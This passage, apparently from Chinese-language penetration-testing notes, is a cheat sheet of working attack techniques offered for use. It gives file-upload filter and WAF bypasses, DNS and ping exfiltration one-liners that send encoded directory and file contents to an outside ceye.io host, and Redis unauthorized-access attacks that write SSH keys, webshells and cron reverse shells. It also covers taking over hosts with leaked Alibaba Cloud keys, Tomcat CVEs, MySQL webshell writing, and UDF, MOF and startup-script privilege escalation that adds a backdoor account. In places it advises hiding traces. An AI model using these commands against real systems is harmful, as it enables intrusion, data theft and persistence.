1301 | 1302 | 参考文章: 1303 | 1304 | https://www.jianshu.com/p/74ca4e884645 (上传总结) 1305 | 1306 | https://www.jianshu.com/p/1ccbab572974 (解析总结) 1307 | 1308 | **特殊后缀绕过黑名单** 1309 | 1310 | apache 1311 | 1312 | > php、php3、php4、php5、phpt、phtml 1313 | 1314 | iis 1315 | 1316 | > asa、cer、cdx 1317 | 1318 | 1319 | 1320 | **上传.htaccess文件** 1321 | 1322 | 我们需要上传一个.htaccess文件,内容为: 1323 | 1324 | ```xml 1325 | #所有文件都会解析成php 1326 | SetHandler application/x-httpd-php 1327 | 1328 | # 解析指定jpg 1329 | 1330 | SetHandler application/x-httpd-php 1331 | 1332 | # 解析xx后缀 1333 | AddType application/x-httpd-php xxx 1334 | 1335 | ``` 1336 | 1337 | 1338 | 1339 | **NTFS流冒号截断** 1340 | 1341 | 如上传"test.asp:1.jpg"文件,会生成一个名为"test.asp"的空文件,原理是利用Windows的NTFS可替代数据流的特性。另外, 1342 | 1343 | ":"截断操作是优先级高于会报错的字符(0x00除外)的,会先截断,只要报错字符在":"后面,系统是不会报错的。 1344 | 如果":"是文件名的最后一个字符,则不会截断,会报错 1345 | 一个文件名中如果包含1个以上的":"号,也是会报错 1346 | 1347 | 1348 | 1349 | **::$DATA绕过** 1350 | 1351 | windows特性,可在后缀名中加” ::$DATA”绕过 1352 | 1353 | 1354 | 1355 | 1356 | 1357 | **nginx空字节代码执行漏洞** 1358 | 1359 | 在fast-cgi关闭的情况下,nginx版本:0.5.*, 0.6.*, 0.7- 0.7.65, 0.8 -0.8.37,nginx在图片后附加php代码然后通过访问 1360 | 1361 | ```css 1362 | xx.jpg%00.php 1363 | ``` 1364 | 1365 | 1366 | 1367 | **IIS 7.0&7.5畸形解析漏洞和nginx畸形解析漏洞** 1368 | 1369 | 默认fast-cgi开启状况下,在一个文件路径后面加上/xx.php会将原来的文件解析为php文件 1370 | 1371 | 上传test.jpg,然后访问test.jpg/.php或test.jpg/abc.php当前目录下就会解析为php 1372 | 1373 | 1374 | 1375 | **iis6畸形目录解析漏洞** 1376 | 1377 | 原因是web应用程序和IIS对同一文件的文件名称(类型)理解不一致造成的 1378 | 1379 | 1. 畸形目录解析 1380 | /xxxx.asp/xxx.jpg 1381 | 即.asp结尾的目录下面,而被IIS当成可执行文件来解析 1382 | 2. 分号文件解析 1383 | test.asp;.jpg 1384 | 1385 | 1386 | 1387 | **Apache文件名解析** 1388 | 1389 | Apache对文件的解析名不是仅仅认识最后一个后缀名,而是从右向左,依次识别,直到遇到自己能解析的文件名为止 1390 | 1391 | .php.sfds.sfsdf.wewfgw.gwegw 1392 | 1393 | 只认识php就解析为php 1394 | 1395 | 1396 | 1397 | **Apache换行解析漏洞 (CVE-2017-15715)** 1398 | 1399 | 其2.4.0~2.4.29版本中存在一个解析漏洞,在解析PHP时,1.php\x0A将被按照PHP后缀进行解析 1400 | 1401 | 上传webshell,然后在1.php后面插入一个\x0A换行 1402 | 1403 | 1404 | 1405 | **nginx文件名逻辑漏洞(CVE-2013-4547)** 1406 | 1407 | 受影响的nginx版本: 0.8.41至1.4.3和1.5.7之前的1.5.x 1408 | 1409 | 正常上传一个附加代码的图片"test.jpg",访问时后面+"空格"+"\0"+".php" 即让图片作为php文件解析 1410 | 1411 | (不能编码,burp改包,把第二个空格改为00) 1412 | 1413 | ```bash 1414 | "/test.jpg .php" 1415 | /test.jpg[0x20][0x00].php 1416 | ``` 1417 | 1418 | 1419 | 1420 | **bypass waf** 1421 | 1422 | 安全狗的绕过,常有下列三种方法 1423 | 1424 |     a). ===绕过 1425 | 1426 |       Content-Disposition : from-data; name="upload" ; filename==="microfan.php" 1427 | 1428 |     b). 去除""绕过 1429 | 1430 |       Content-Disposition : from-data; name="upload" ; filename=microfan.php 1431 | 1432 |     c). 少"绕过 1433 | 1434 |       Content-Disposition : from-data; name="upload" ; filename="microfan.php 1435 | 1436 | 1437 | 1438 | ## 命令执行 1439 | 1440 | ### 结果外带 1441 | 1442 | **Windows** 1443 | 1444 | 在windows当中,%cd% 代表的是当前目录,我们通过echo将当前目录写入文本temp,然后荣国certutil对文件内容进行base64编码,再过滤certutil携带的字符,将它赋给一个变量,最后通过nslookup外带出来,从而实现获取当前目录的目的。 1445 | 1446 | ``` 1447 | echo %cd% > temp&&certutil -encode temp temp1&&findstr /L /V "CERTIFICATE" temp1 > temp2&&set /p ADDR=>text3.txt) 1454 | ``` 1455 | 1456 | 为什么在上面需要过滤=,主要是因为在执行ping命令的时候是不允许带=号的,相较于nslookup,ping命令成功率相对较高,但如果路径过长,可能会导致失败。具体多长需要大家自行试验。 1457 | 1458 | ``` 1459 | echo %cd% > temp&&certutil -encode temp temp1&&findstr /L /V "CERTIFICATE" temp1 > temp2&&for /f "delims=^= tokens=1,*" %i in (temp2) do (echo %i>>temp3)&&set /p ADDR= test && certutil -encodehex -f test test.hex 4 && powershell $text=Get-Content test.hex;$sub=$text -replace(' ','');$j=11111;foreach($i in $sub){ $fin=$j.tostring()+'.'+$i+'.is1lv6.ceye.io';$j += 1; nslookup $fin } 1466 | ``` 1467 | 1468 | **(b)Linux** 1469 | 1470 | 在linux中pwd也是查看当前目录的,我们通过tr -d将换行符去掉并通过xxd -ps将值转化为16进制,这样我们即可外带出自己想要的东西。 1471 | 1472 | ``` 1473 | ping pwd|tr -d '\n'|xxd -ps.is1lv6.ceye.io 1474 | ``` 1475 | 1476 | base64原理和上面类似,主要是对值进行base64编码,然后替换掉“=”,即可成功外带数据。 1477 | 1478 | ``` 1479 | pingpwd|base64|tr -d ‘=’.is1lv6.ceye.io 1480 | ``` 1481 | 1482 | 如果有多行数据需要外带,那么请考虑下面的语句。(和大佬学的) 1483 | 1484 | ``` 1485 | var=11111 && for b in $(find / -name "index.php" | xargs grep "111222"|xxd -p); do var=$((var+1)) && dig $var.$b.is1lv6.ceye.io; done 1486 | ``` 1487 | 1488 | oob主要参考一位大佬文章,会在文末列出。 1489 | 1490 | 1491 | 1492 | 1493 | 1494 | ## 未授权漏洞 1495 | 1496 | ### redis 1497 | 1498 | 参考:https://www.cnblogs.com/twosmi1e/p/13308682.html 1499 | 1500 | https://www.cnblogs.com/loopkep/p/11135949.html 1501 | 1502 | #### **常用命令** 1503 | 1504 | ``` 1505 | set testkey "Hello World" # 设置键testkey的值为字符串Hello World 1506 | get testkey # 获取键testkey的内容 1507 | SET score 99 # 设置键score的值为99 1508 | INCR score # 使用INCR命令将score的值增加1 1509 | GET score # 获取键score的内容 1510 | keys * # 列出当前数据库中所有的键 1511 | get anotherkey # 获取一个不存在的键的值 1512 | config set dir /home/test # 设置工作目录,Redis产生的备份文件将放在这个目录下 1513 | config set dbfilename redis.rdb # 设置备份文件名 1514 | config get dir # 检查工作目录是否设置成功 1515 | config get dbfilename # 检查备份文件名是否设置成功 1516 | save # 进行一次备份操作 1517 | flushall 删除所有数据 1518 | del key 删除键为key的数据 1519 | ``` 1520 | 1521 | 1. 使用SET和GET命令,可以完成基本的赋值和取值操作; 1522 | 2. Redis是不区分命令的大小写的,set和SET是同一个意思; 1523 | 3. 使用keys *可以列出当前数据库中的所有键; 1524 | 4. 当尝试获取一个不存在的键的值时,Redis会返回空,即(nil); 1525 | 5. 如果键的值中有空格,需要使用双引号括起来,如"Hello World"; 1526 | 1527 | #### **利用** 1528 | 1529 | ##### 写ssh-keygen登录 1530 | 1531 | 利用条件 1532 | 1533 | 1. root账号启动redis服务 1534 | 2. 服务器开放SSH服务,允许密钥登录。 1535 | 1536 | 1. 攻击机上生成公私钥 1537 | ![img](img/2059787-20200715224555141-1298892077.png) 1538 | 2. 未授权访问redis 1539 | ![img](img/2059787-20200715224603427-816508208.png) 1540 | 3. 利用redis的数据备份功能修改备份目录为 /redis/.ssh/ 备份文件名为 authorized_keys 1541 | ![img](img/2059787-20200715224612696-1520388092.png) 1542 | 4. 写入键值 1543 | ![img](img/2059787-20200715224623093-986828475.png) 1544 | 5. ssh连接 1545 | ![img](img/2059787-20200715224628816-465374735.png) 1546 | 1547 | 利用二 1548 | 1549 | ``` 1550 | >ssh-keygen -t rsa 1551 | >(echo -e "\n\n"; cat /root/.ssh/id_rsa.pub; echo -e "\n\n") > qq.txt 1552 | >cat qq.txt | redis-cli -h 127.0.0.1 -x set crackit 1553 | >redis-cli -h 127.0.0.1 1554 | 6379> config set dir /root/.ssh/ 1555 | 6379> config set dbfilename "authorized_keys" 1556 | 6379> save 1557 | ``` 1558 | 1559 | 1560 | 1561 | ##### 写计划任务反弹shell 1562 | 1563 | 定时任务位置位于文件:/var/spool/cron/用户名 1564 | 1565 | **原理** 1566 | 1567 | /var/spool/cron/目录下存放的为以各个用户命名的计划任务文件,root用户可以修改任意用户的计划任务。dbfilename设置为root为用root用户权限执行计划任务。 1568 | 1569 | **执行命令反弹shell(写计划任务时会覆盖原来存在的用户计划任务).写文件之前先获取dir和dbfilename的值,以便恢复redis配置,将改动降到最低,避免被发现**。 1570 | 1571 | **利用条件** 1572 | 1573 | redis是root用户启动 1574 | 1575 | **坑:crontab反弹debian,ubuntu都不行**,因为他们对计划任务的格式很严格,必须要执行 1576 | `crontab -u root /var/spool/cron/crontabs/root` 1577 | 通过语法检查后,才能执行计划任务。 1578 | 1579 | 执行 1580 | 1581 | ``` 1582 | #获取dir的值 1583 | config get dir 1584 | #获取dbfilename的值 1585 | config get dbfilename 1586 | #设置数据库备份目录为linux计划任务目录 1587 | config set dir '/var/spool/cron/' 1588 | #设置备份文件名为root,以root身份执行计划任务 1589 | config set dbfilename 'root' 1590 | #删除所有数据库的所有key 1591 | flushall 1592 | #设置写入的内容,在计划任务前后加入换行以确保写入的计划任务可以被正常解析,此处可以直接调用lua语句。 1593 | eval "redis.call('set','cron',string.char(10)..ARGV[1]..string.char(10))" 0 '*/1 * * * * bash -i >& /dev/tcp/10.10.19.29/8080 0>&1' 1594 | #保存 1595 | save 1596 | #删除新增的key 1597 | del cron 1598 | #恢复dir和dbfilename 1599 | config set dir '***' 1600 | config set dbfilename '***' 1601 | ``` 1602 | 1603 | 利用 1604 | 1605 | ``` 1606 | redis 192.168.242.134:6379> set x "\n* * * * * bash -i >& /dev/tcp/192.168.242.131/888 0>&1\n" 1607 | redis 192.168.242.134:6379> config set dir /var/spool/cron/ 1608 | redis 192.168.242.134:6379> config set dbfilename root 1609 | redis 192.168.242.134:6379> save 1610 | ``` 1611 | 1612 | ##### 写webshell 1613 | 1614 | 利用条件 1615 | 1616 | 1. 已知web的绝对路径 1617 | 2. 具有读写权限 1618 | 1619 | ``` 1620 | redis-cli -h 192.168.1.154 1621 | config set dir /var/www/html 1622 | set xxx "\n\n\n\n\n\n" 1623 | config set dbfilename webshell.php 1624 | save 1625 | ``` 1626 | 1627 | ##### 利用主从复制获取shell 1628 | 1629 | 利用脚本1 1630 | 1631 | ``` 1632 | git clone https://github.com/n0b0dyCN/RedisModules-ExecuteCommand 1633 | cd RedisModules-ExecuteCommand/ 1634 | make 1635 | git clone https://github.com/Ridter/redis-rce 1636 | python redis-rce.py -r 192.168.1.154 -L 192.168.1.153 -f module.so 1637 | ``` 1638 | 1639 | 脚本2 1640 | 1641 | ``` 1642 | https://github.com/vulhub/redis-rogue-getshell 1643 | 需要python3.0以上 1644 | 编译 1645 | >cd RedisModulesSDK/ 1646 | >make 1647 | 会在此目录下生成exp.so 1648 | 执行命令 1649 | >python3 redis-master.py -r 192.168.0.120 -p 6379 -L 192.168.0.108 -P 12138 -f RedisModulesSDK/exp.so -c "cat /etc/passwd" 1650 | 1651 | https://github.com/n0b0dyCN/redis-rogue-server 1652 | 需要python3.6以上 1653 | 编译 1654 | >cd RedisModulesSDK/exp 1655 | >make 1656 | 执行 1657 | >./redis-rogue-server.py --rhost 192.168.0.120 --lhost 192.168.0.108 1658 | ``` 1659 | 1660 | 1661 | 1662 | 1663 | 1664 | 相关利用工具 1665 | 1666 | https://github.com/00theway/redis_exp 1667 | 1668 | https://github.com/r35tart/RedisWriteFile 1669 | 1670 | ##### 其他姿势 1671 | 1672 | Windows下如何getshell? 1673 | 1674 | - 写入webshell,需要知道web路径 1675 | - 写入启动项,需要目标服务器重启 1676 | - 系统dll劫持 1677 | - 覆盖软件或者中间件配置文件 1678 | - 覆盖快捷方式 1679 | - 覆盖粘滞键,放大镜 1680 | - 写入MOF,MOF每隔5秒钟会自动执行一次,适用于Windows2003。 1681 | 1682 | 实战在生产环境下用还是会有很多问题的 1683 | 1684 | 1. redis数据量稍微大一点,写shell到文件之后,php因为文件太大是会拒绝执行的 1685 | 2. Ubuntu,Debian写计划任务反弹无用 1686 | 3. 写/etc/passwd会覆盖原有/etc/passwd,不可能改了再改回来 1687 | 4. 生产环境下用`KEY *` 这样的命令直接炸 1688 | 1689 | 1690 | 1691 | 1692 | 1693 | 1694 | 1695 | ## 敏感信息泄漏利用 1696 | 1697 | 1698 | 1699 | ### 阿里云Access Key利用 1700 | 1701 | 首先用行云管家导入云主机,网站地址:https://yun.cloudbility.com/ 1702 | 1703 | 步骤:选择阿里云主机 -> 导入key id跟key secret -> 选择主机 -> 导入即可(名字随便输) 1704 | 1705 | 我们用这个只是为了得到两个数据,就是**实例ID以及所属网络**,拿到就可以走人了. 1706 | 1707 | 这里我们打开阿里API管理器,这个是阿里提供给运维开发人员使用的一个工具, 1708 | 1709 | https://api.aliyun.com/#/?product=Ecs 1710 | 1711 | 点击左边的搜素框输入command,我们会用到CreateCommand跟InvokeCommand,CreateCommand是创建命令,InvokeCommand是调用命令。继续往下看 1712 | 1713 | 1714 | 1715 | ![img](https://mmbiz.qpic.cn/mmbiz_png/gqALwUU9cicxI5hGqt5EdOUibOTj95ribSc1yXehrLAgMEv9p7DyEFfuSru0zW7YlA50JjAtIEibWVHYEGo0qtJVnQ/640?wx_fmt=png&tp=webp&wxfrom=5&wx_lazy=1&wx_co=1) 1716 | 1717 | 1718 | 1719 | 1720 | 1721 | 1722 | 1723 | Name部分随意 1724 | 1725 | Type指的是执行脚本类型 1726 | 1727 | RunBatScript:创建一个在Windows实例中运行的 Bat 脚本。 1728 | 1729 | RunPowerShellScript:创建一个在Windows实例中运行的PowerShell脚本。 1730 | 1731 | RunShellScript:创建一个在Linux实例中运行的Shell脚本。 1732 | 1733 | CommandContent为执行命令,需要注意的是这里是填写base64编码。 1734 | 1735 | 填写完后选择python 1736 | 1737 | 1738 | 1739 | ![img](https://mmbiz.qpic.cn/mmbiz_png/gqALwUU9cicxI5hGqt5EdOUibOTj95ribScFLYCmT0CO5KSxJSZNa8LJATJc0jC4cRkPHjuCoUr4pDUib44HRQUDUA/640?wx_fmt=png&tp=webp&wxfrom=5&wx_lazy=1&wx_co=1) 1740 | 1741 | 1742 | 1743 | 1744 | 1745 | 点击**调试SDK示例代码**,此时会弹出Cloud shell窗口,并创建一个CreateCommand.py文件,用vim编辑器打开CreateCommand.py,修改accessKeyId与accessSecret。 1746 | 1747 | 1748 | 1749 | ![img](https://mmbiz.qpic.cn/mmbiz_png/gqALwUU9cicxI5hGqt5EdOUibOTj95ribScqAeuZ8UumNuZqwSyLhMkWBibHpQbEINQKYY7yHqNYOMFyqrlnmTgu9Q/640?wx_fmt=png&tp=webp&wxfrom=5&wx_lazy=1&wx_co=1) 1750 | 1751 | 1752 | 1753 | ![img](https://mmbiz.qpic.cn/mmbiz_png/gqALwUU9cicxI5hGqt5EdOUibOTj95ribScoM4GVJbBWJJfaJTNgHFNuEqZSgkrdicOwr5HRxBkwo2ffNNXM2LLKoQ/640?wx_fmt=png&tp=webp&wxfrom=5&wx_lazy=1&wx_co=1) 1754 | 1755 | 1756 | 1757 | 执行CreateCommand.py,会返回一个RequestId与CommandId,记录CommandId,后面调用命令会用到。 1758 | 1759 | 1760 | 1761 | ![img](https://mmbiz.qpic.cn/mmbiz_png/gqALwUU9cicxI5hGqt5EdOUibOTj95ribScBE7czOcxicKZuXHIpRicVgicRAibTmDK5oGhjZTXQtqibV3iatJjDGWPD2mQ/640?wx_fmt=png&tp=webp&wxfrom=5&wx_lazy=1&wx_co=1) 1762 | 1763 | 1764 | 1765 | 打开InvokeCommand 1766 | 1767 | RegionId填写行云管家中的所属网络 1768 | 1769 | CommandId填写刚刚执行CreateCommand.py返回的CommandId 1770 | 1771 | InstanceId填写示例ID,行云管家中获取到的那个 1772 | 1773 | 继续点击**调试SDK代码**,会生成一个InvokeCommand.py文件,同样用vim编辑器把accessKeyId与accessSecret修改了。 1774 | 1775 | 1776 | 1777 | ![img](https://mmbiz.qpic.cn/mmbiz_png/gqALwUU9cicxI5hGqt5EdOUibOTj95ribScfCqYTQiaFqlLrnG8ntYaecWnZZwBJqDLHeC7cBHopSxFdhibqObyVhdw/640?wx_fmt=png&tp=webp&wxfrom=5&wx_lazy=1&wx_co=1) 1778 | 1779 | 1780 | 1781 | 1782 | 1783 | 修改完成后使用nc监听端口,执行InvokeCommand.py。 1784 | 1785 | 1786 | 1787 | ![img](https://mmbiz.qpic.cn/mmbiz_png/gqALwUU9cicxI5hGqt5EdOUibOTj95ribScWV8vIzqkd7OGnQH4xszFoHurKCiagO5vGxQLMeq2jBA6KMeaFBWseJg/640?wx_fmt=png&tp=webp&wxfrom=5&wx_lazy=1&wx_co=1) 1788 | 1789 | 1790 | 1791 | 成功执行命令反弹shell,收工。 1792 | 1793 | #### alicloud利用工具 1794 | 1795 | https://github.com/iiiusky/alicloud-tools 1796 | 1797 | 1798 | 1799 | 1800 | 1801 | ## 中间件安全 1802 | 1803 | 1804 | 1805 | ### tomcat安全 1806 | 1807 | 参考:https://www.anquanke.com/post/id/223002 不安全的中间件——Tomcat 1808 | 1809 | 1810 | 1811 | **自带的默认应用** 1812 | 1813 | 1. examples目录 1814 | 1815 | 1. 信息泄漏 1816 | 2. /examples/servlets/servlet/SessionExample 允许用户对session进行操纵(老系统可能出现) 1817 | 1818 | 2. admin管理页面 1819 | 1820 | 1. Tomcat 5.0.4版本之前都是默认安装,.5.0.4之后版本默认存在该目录,但是功能并不全 1821 | 1822 | 1. 默认路径为/admin 1823 | 2. tomcat-user.xml文件中进行账号密码的配置 1824 | 3. 功能和manager下面的差不多 1825 | 1826 | 2. manager管理页面 1827 | 1828 | 1. 最常见的,基本tomcat默认都有 1829 | 2. 默认没有设置登录口令,需要tomcat-user.xml文件中进行账号密码的配置 1830 | 3. 登录使用的Basic认证方式(请求头里面的Authorization为base64编码,可以用burp爆破) 1831 | 4. Tomcat manager包含4个不同的角色: 1832 | - manager-gui:允许访问html页面接口(即URL路径为/manager/html/*) 1833 | - manager-script:允许访问纯文本接口(即URL路径为/manager/text/*) 1834 | - manager-jmx:允许访问JMX代理接口(即URL路径为/manager/jmxproxy/*) 1835 | - manager-status:允许访问Tomcat只读状态页面(即URL路径为/manager/status/*) 1836 | 5. 部署war包拿shell 1837 | 1838 | 3. AJP协议 1839 | 1840 | 1. 比较鸡肋 1841 | 2. 目前爆出的可直接利用的就是CVE-2020-1938(AJP文件包含漏洞) 1842 | 1843 | 4. debug模式 1844 | 1845 | 1. 默认不开启 1846 | 2. 调试端口8000,指纹jdwp 1847 | 3. 低版本的jdk中会存在漏洞,可以通过jdwp来执行系统命令 1848 | 1849 | 5. CVE-2016-8735反序列化 1850 | 1851 | 1. 条件:配置JMX做监控时使用了JmxRemoteLifecycleListener 1852 | 2. ysoserial来进行漏洞攻击利用 1853 | 1854 | 6. CVE-2017-12615 & CVE-2017-12616 put文件上传 1855 | 1856 | 1. 范围7.0.0 – 7.0.79 1857 | 2. 条件:手动将web.xml中的readonly设置为false 1858 | 3. 利用构造put上传shell,返回201为成功 1859 | 1860 | 7. CVE-2019-0232命令注入 1861 | 1862 | 1. 该漏洞的利用条件较为苛刻,需同时满足下列条件: 1863 | 1864 | 1. 系统为Windows 1865 | 2. 启用了CGI Servlet(默认为关闭) 1866 | 3. 启用了enableCmdLineArguments(Tomcat 9.0.*及官方未来发布版本默认为关闭) 1867 | 1868 | 影响范围: 1869 | 1870 | ``` 1871 | 9.0.0.M1-9.0.17 1872 | 8.5.0-8.5.39 1873 | 7.0.0-7.0.93 1874 | ``` 1875 | 1876 | 8. CVE-2020-1938 AJP缺陷 1877 | 1878 | 1. 文件读取,代码执行 1879 | 1880 | 2. 范围 1881 | 1882 | ``` 1883 | Apache Tomcat 6 1884 | Apache Tomcat 7 < 7.0.100 1885 | Apache Tomcat 8 < 8.5.51 1886 | Apache Tomcat 9 < 9.0.31 1887 | ``` 1888 | 1889 | 1890 | 1891 | ## 数据库安全 1892 | 1893 | ### mysql渗透总结 1894 | 1895 | #### 一、sqlshell获取 1896 | 1897 | 要利用mysql首先得拿到一个可以执行sql的mysql才能利用,下面就说一下几种常见姿势,欢迎补充。 1898 | 1899 | 1、弱口令 1900 | 1901 | 这个比较简单,网上工具很多如美杜莎,九头蛇这些比较知名的,msf也有相应的模块。我自己之前也写过一个。要是运气好的话直接跑到弱口令就直接进去,当然也可以配合社工字典来跑这样成功率更高。 1902 | 1903 | 2、文件读取漏洞 1904 | 1905 | 需要挖一个任意文件读取漏洞,然后利用读网站的配置文件,里面存放着数据库账号密码。 1906 | 1907 | 3、信息泄露 1908 | 1909 | 扫目录扫网站备份文件,或者git泄露 1910 | 1911 | 4、sql注入 1912 | 1913 | 这个不用多说,要是权限够大直接sqlmap os-shell一把梭 1914 | 1915 | 5、身份认证绕过漏洞(CVE-2012-2122) 1916 | 1917 | 受影响版本: 1918 | 1919 | MariaDB versions from 5.1.62, 5.2.12, 5.3.6, 5.5.23 are not. 1920 | 1921 | MySQL versions from 5.1.63, 5.5.24, 5.6.6 are not. 1922 | 1923 | 也就是说只要知道用户名,不断尝试就能够直接登入SQL数据库。按照公告说法大约256次就能够蒙对一次。 1924 | 1925 | 在msf里面有模块,可以直接用auxiliary/scanner/mysql/mysql_authbypass_hashdump来跑 1926 | 1927 | 当数据库不能外连可以通过以下方法开放外连(注意防火墙): 1928 | 1929 | 可以修改`host`为`%`并刷新权限后,默认root等账号不允许远程连接 1930 | 1931 | ``` 1932 | use mysql; 1933 | update user set host = '%' where user = 'root'; 1934 | FLUSH PRIVILEGES ; 1935 | select host, user from user; 1936 | ``` 1937 | 1938 | #### 二、mysql拿shell 1939 | 1940 | ##### 1、用命令直接导出shell 1941 | 1942 | 原理:利用导出命令来导出shell。 1943 | 1944 | 条件: 1945 | 1946 | 1. 需要知道网站的物理路径(绝对路径) 1947 | 1948 | 通过程序报错,日志泄露,phpinfo,php探针等方式可以获取到物理路径。 1949 | 1950 | 2.允许导出 1951 | 1952 | 先查看是否允许导入导出 1953 | 1954 | ``` 1955 | show variables like '%secure%' 1956 | 1957 | ``` 1958 | 1959 | secure_file_priv的值为null ,表示限制mysqld 不允许导入|导出 1960 | 1961 | 当secure_file_priv的值为/tmp/ ,表示限制mysqld 的导入|导出只能发生在/tmp/目录下,此时如果读写发生在其他文件夹,就会报告如下错误: 1962 | 1963 | ``` 1964 | RROR 1290 (HY000): The MySQL server is running with the --secure-file-priv option so it cannot execute this statement 1965 | 1966 | ``` 1967 | 1968 | 当secure_file_priv的值没有具体值时,表示不对mysqld 的导入|导出做限制 1969 | 1970 | 如果条件都满足的话,就可以开始了 1971 | 1972 | outfile 1973 | 1974 | ``` 1975 | select '' into outfile '/var/www/xx.php'; 1976 | 1977 | ``` 1978 | 1979 | dumpfile 1980 | 1981 | ``` 1982 | select '' into dumpfile '/var/www/xx.php'; 1983 | 1984 | ``` 1985 | 1986 | 注意:outfile函数可以导出多行,而dumpfile只能导出一行数据outfile函数在将数据写到文件里时有特殊的格式转换,而dumpfile则保持原数据格式 1987 | 1988 | 借助表导出。 1989 | 1990 | ``` 1991 | Drop TABLE IF EXISTS temp; 1992 | Create TABLE temp(cmd text NOT NULL); 1993 | Insert INTO temp (cmd) VALUES(''); 1994 | Select cmd from temp into out file '/var/www/xx.php'; 1995 | Drop TABLE IF EXISTS temp; 1996 | 1997 | ``` 1998 | 1999 | 也可以用mysql 的 -e 参数 2000 | 2001 | ``` 2002 | mysql -u user -p passwd -e "select '' into outfile '/var/www/xxx.php'" 2003 | ``` 2004 | 2005 | ##### 2、利用general_log拿shell 2006 | 2007 | 如果导入导出被禁用了就可以用这个方法试试。 2008 | 2009 | 原理:利用修改日志文件路径,往日志文件写入一句话。 2010 | 2011 | 条件: 2012 | 2013 | 1.对应web目录有写权限 2014 | 2015 | 2.需要有物理路径 2016 | 2017 | 3.如果拿到的是注入,还需要能执行堆叠注入 2018 | 2019 | 4.root用户,或者有对应权限的用户 2020 | 2021 | 利用如下:开启日志,更改路径,把一句话写入日志文件。 2022 | 2023 | ``` 2024 | set global general_log=on; 2025 | set global general_log_file='/var/www/1.php'; 2026 | select ''; 2027 | ``` 2028 | 2029 | 2030 | 2031 | **3.写加密马** 2032 | 2033 | 把冰蝎,哥斯拉的马儿进行base64编码,然后写一个普通的abb.php就访问abb.php会在当前路径生成abab.php 2034 | 2035 | ``` 2036 | select '' into outfile 'C:/wamp/www/abb.php'; 2037 | ``` 2038 | 2039 | 2040 | 2041 | #### 三、任意文件读取 2042 | 2043 | 既然有文件导出,肯定也有文件导入。关于任意文件读取怎么用,我之前总结过。 2044 | 2045 | 条件:和导出shell的条件一样。 2046 | 2047 | 利用:先创建一张表,读取文件内容到表。 2048 | 2049 | ``` 2050 | create table a (v text); 2051 | load data infile 'file_name' into table table_name fields terminated by '分隔符' 2052 | 2053 | ``` 2054 | 2055 | 例如读text.txt: 2056 | 2057 | ``` 2058 | load data infile 'C:/phpstudy/MySQL/test.txt' into table a fields terminated by ','; 2059 | ``` 2060 | 2061 | 查看内容 2062 | 2063 | ``` 2064 | SELECT * FROM a 2065 | ``` 2066 | 2067 | #### 四、mysql提权 2068 | 2069 | 先推荐一个小工具https://github.com/T3st0r-Git/HackMySQL 2070 | 2071 | **1、mof提权** 2072 | 2073 | 原理: 2074 | 2075 | 利用了c:/windows/system32/wbem/mof/目录下的 nullevt.mof 文件,每分钟都会在一个特定的时间去执行一次的特性,来写入我们的cmd命令使其被带入执行。 2076 | 2077 | 条件: 2078 | 2079 | 1、mof提权的前提是root用户 2080 | 2081 | 2、可以复制文件到%SystemRoot%\System32\Wbem\MOF目录下 2082 | 2083 | 利用: 2084 | 2085 | 网上工具也很多,可以直接用msf的exploit/windows/mysql/mysql_mof模块,执行成功后会直接反弹meterpreter。 2086 | 2087 | **2、udf提权** 2088 | 2089 | 原理: 2090 | 2091 | UDF(user defined function)用户自定义函数,是mysql的一个拓展接口。用户可以通过自定义函数实现在mysql中无法方便实现的功能,其添加的新函数都可以在sql语句中调用,就像调用本机函数一样。 2092 | 2093 | 条件: 2094 | 2095 | 1、系统是Windows(Win2000,XP,Win2003);有一个mysql数据库的账户拥有insert和delete权限,以创建和抛弃函数。 2096 | 2097 | 2、Mysql版本大于5.1版本udf.dll文件必须放置于MYSQL安装目录下的lib\plugin文件夹下。 2098 | 2099 | 3、Mysql版本小于5.1版本。udf.dll文件在Windows2003下放置于c:\windows\system32,在windows2000下放置于c:\winnt\ 2100 | 2101 | system32。 2102 | 2103 | 4、拥有相应目录的写权限 2104 | 2105 | 注意:一般Lib、Plugin文件夹需要手工建立(也可用NTFS ADS流模式突破进而创建文件夹) 2106 | 2107 | ``` 2108 | select @@basedir; //查找到mysql的目录 2109 | select 'It is dll' into dumpfile 'C:\\\ProgramFiles\\\MySQL\\\MySQL Server 5.1\\\lib::$INDEX\_ALLOCATION'; //利用NTFS ADS创建lib目录 2110 | select 'It is dll' into dumpfile 'C:\\\ProgramFiles\\\MySQL\\\MySQL Server 5.1\\\lib\\\plugin::$INDEX\_ALLOCATION'; //利用NTFS ADS创建plugin目录 2111 | ``` 2112 | 2113 | 利用: 2114 | 2115 | 直接用msf的use exploit/multi/mysql/mysql_udf_payload模块. 2116 | 2117 | msf会将dll文件写入lib\plugin\目录下(前提是该目录存在,如果该目录不存在的话,则无法执行成功),dll文件名为**随机生成**的名字(记下来后面手动创建需要用到)。该dll文件中包含sys_exec()和sys_eval()两个函数,但是默认只创建sys_exec()函数,该函数执行并不会有回显。我们可以手动创建 sys_eval() 函数,来执行有回显的命令。 2118 | 2119 | 手动创建sys_eval() 2120 | 2121 | ``` 2122 | create function sys_eval returns string soname 'SGJECYG.dll'; 2123 | ``` 2124 | 2125 | 执行手动创建的函数 2126 | 2127 | ``` 2128 | select sys_eval('whoami'); 2129 | ``` 2130 | 2131 | 检查有没有创建成功 2132 | 2133 | ``` 2134 | select * from mysql.func where name = 'sys_eval'; 2135 | ``` 2136 | 2137 | 删除函数 2138 | 2139 | ``` 2140 | drop function sys_eval; 2141 | ``` 2142 | 2143 | **3、启动项提权** 2144 | 2145 | 原理:本质还是用导出命令来实现,导出脚本到启动目录,服务器重启就执行脚本。 2146 | 2147 | 条件:上面说过了。 2148 | 2149 | 利用: 2150 | 2151 | 写个vbs到启动目录,想办法让服务器重启。 2152 | 2153 | ``` 2154 | 1,开始菜单当前用户启动文件夹--C:\\Users\\用户名\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup 2155 | 2,开始菜单所有用户启动文件夹--C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\StartUp 2156 | 3,注册表当前用户开机启动项目录--HKEY\_CURRENT\_USER\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run 2157 | 4,注册表所有用户开机启动项目录--HKEY\_LOCAL\_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run 2158 | ``` 2159 | 2160 | 写脚本 2161 | 2162 | ``` 2163 | create table a (cmd text);//创建表 2164 | insert into a values ("set wshshell=createobject(""wscript.shell"") " );//写数据到表 2165 | insert into a values ("a=wshshell.run(""cmd.exe /c net user aabbcc 123456 /add"",0) " ); 2166 | 